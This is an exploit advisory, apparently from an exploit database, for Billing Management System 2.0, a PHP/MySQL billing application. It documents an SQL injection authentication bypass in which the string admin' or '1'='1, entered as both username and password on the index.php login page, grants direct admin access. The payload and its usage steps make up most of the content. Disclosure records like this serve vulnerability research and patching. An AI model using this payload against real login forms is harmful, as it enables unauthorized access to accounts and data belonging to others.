Billing Management System 2.0 - 'email' SQL injection Auth Bypass

# Exploit Title: Billing Management System 2.0 - 'email' SQL injection Auth Bypass
# Date: 2021-02-16
# Exploit Author: Pintu Solanki
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14380/billing-management-system-php-mysql-updated.html
# Software: Billing Management System 2.0
# Vulnerability Type: SQL injection - Auth Bypass
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4
# This application is vulnerable to SQL injection vulnerability.
# Vulnerable Page: http://localhost/smartbilling/smartbilling_source_code/index.php
# Payload used:

Username => admin' or '1'='1
Password => admin' or '1'='1

# POC: Whenever we will go to the page (http://localhost/smartbilling/smartbilling_source_code/index.php) when we inject SQL Payload then we will directly enter into the admin page.